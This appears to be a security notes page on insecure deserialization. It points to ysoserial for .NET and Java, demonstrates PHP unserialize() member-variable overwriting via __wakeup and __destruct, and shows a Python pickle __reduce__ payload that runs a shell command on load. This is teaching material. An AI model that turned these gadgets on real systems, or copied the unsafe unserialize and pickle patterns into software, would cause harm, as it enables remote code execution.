.NET

ysoserial

Java

ysoserial

PHP

The serialize() method will save an object’s classname and all variables & their type as a string. It notably does not save the object’s methods.

The unserialize() method will perform the reverse of serialize() and constructs an object from an input string. The input string must conform to an expected format produced by serialize(), otherwise deserialization will fail.

Overwrite Member Variables

A relatively straightforward deserialization attack with PHP is to overwrite the member variables of a class. This has the clear pre-requisite that you know the name of the class as well as the member variables you are going to overwrite. It also assumes that those variables are used in some way later on after unserialize() is invoked that will allow you to modify code execution flow.

A couple of key methods to examine are implementations of __wakeup() and __destruct(). Once unserialize() creates the initial copy of the original serialized object, it will invoke __wakeup().

If there are other functions invoked that depend on the member variables, see if/how they are controllable.

And finally once no reference to the deserialized object exists, __destruct() is invoked.

To demonstrate its impact, here is a vulnerable use of unserialize() and SomeClass:

<?php
class SomeClass
{
        private $var_name1 = 'original var1';
        public $var_name2 = 'original var2';

        public function print_the_vars() {
                echo "$this->var_name1\n$this->var_name2\n";
        }

        public function __wakeup() {
                echo "Waking up... var_name1 is $this->var_name1\n";
        }

        public function __destruct() {
                echo "Destructing... var_name2 is $this->var_name2\n";
        }
}

$test = new SomeClass();
$test->print_the_vars();

$serialized = 'O:9:"SomeClass":2:{s:9:"var_name1";s:14:"different var1";s:9:"var_name2";s:14:"different var2";}';
$notImportant = unserialize($serialized);   # __wakeup()
$notImportant->print_the_vars();            # function utilizing member variables

                                            # __destruct()
?>

and the corresponding output

$ php victim.php 
original var1
original var2
Waking up... var_name1 is different var1
different var1
different var2
Destructing... var_name2 is different var2
Destructing... var_name2 is original var2

Python

In Python, __reduce__ is a special method that is referenced when we are serializing data. The reduce function tells the pickle library how to serialize the object. This information is used to rebuild the object during deserialization as well. If a victim/server/app is vulnerable to this attack, then the __reduce__ method will be invoked when the object is deserialized, and executed the code block defined.

import os

class DeserializationAttack(object):
    def __reduce__(self):
        return os.system, ('whoami',)

# EXAMPLE
# Serialize the attack class to a test file
import pickle

with open('attack_pickle','wb') as f:
    pickle.dump(DeserializationAttack(), f)

# Read and deserialize the attack pickle
with open('attack_pickle','rb') as f:
    result = pickle.loads(f.read())